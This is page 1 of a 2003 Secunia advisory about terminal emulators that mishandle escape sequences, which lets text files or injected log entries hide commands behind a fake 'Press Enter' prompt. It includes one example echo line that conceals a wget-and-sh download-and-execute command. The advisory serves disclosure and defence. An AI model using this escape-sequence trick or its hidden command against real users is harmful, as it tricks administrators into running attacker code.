|
Terminal Emulators fail to handle escape sequences
|
|
Secunia Advisory:
|
SA8146
|
|
|
Release Date:
|
2003-02-25
|
|
Last Update:
|
2004-05-10
|
|
Popularity:
|
21,406 views
|
|
|
Critical:
|
 Moderately critical
|
|
Impact:
|
System access
|
|
Where:
|
From remote
|
|
Solution Status:
|
Vendor Patch
|
|
| Software: | Apache 1.3.x Apache 2.0.x aterm 0.4.x Eterm 0.9.x gnome-terminal 2.x hanterm-xf 2.x Konsole 3.x PuTTY 0.x rxvt 2.7.x SecureCRT 3.x
|
|
|
Secunia CVSS-2 Score:
|
Available in Secunia business solutions
|
|
|
Subscribe:
|
Instant alerts on relevant vulnerabilities
|
|
| Advisory Content (Page 1 of 3) | [ 1 ] [ 2 ] [ 3 ] | |
|
Description: Different terminal emulators have been found vulnerable to an issue allowing malicious people to manipulate actions taken by the system administrator and other users.
The problem is that escape sequences like "\e2]2;" aren't handled correctly. This allows plain text files to manipulate the text shown in the terminal emulator, which could be exploited to show a "harmless" text messages that requires the user to respond by clicking enter. This will then execute commands hidden by the "harmless" text.
Example:
echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
This will ask the user to press enter, while concealing the commands in the background, which could download and execute malicious code.
The vulnerability could be used by local users to trick root or other local users into reading a malicious plain text file using commands like type, more, and tail.
However, remote users may also be able to inject this into log files. It has been reported that it is possible to inject escape sequences into Apache access and error log files. Other daemons may also write unfiltered text to log files.
See the original advisory from Digital Defense for more examples.
Versions confirmed vulnerable:
xterm xf86 4.2.0 (patch 165)
aterm 0.42
rxvt 2.7.8
Eterm 0.9.1
konsole 3.1.0 rc5
putty 0.53
SecureCRT 3.4.6
gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf 2.0
Change Page: [ 1 ] [ 2 ] [ 3 ]
|
|
|
Track this Secunia Advisory
|
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.
Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.
|
|
|
About this Secunia Advisory
|
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
|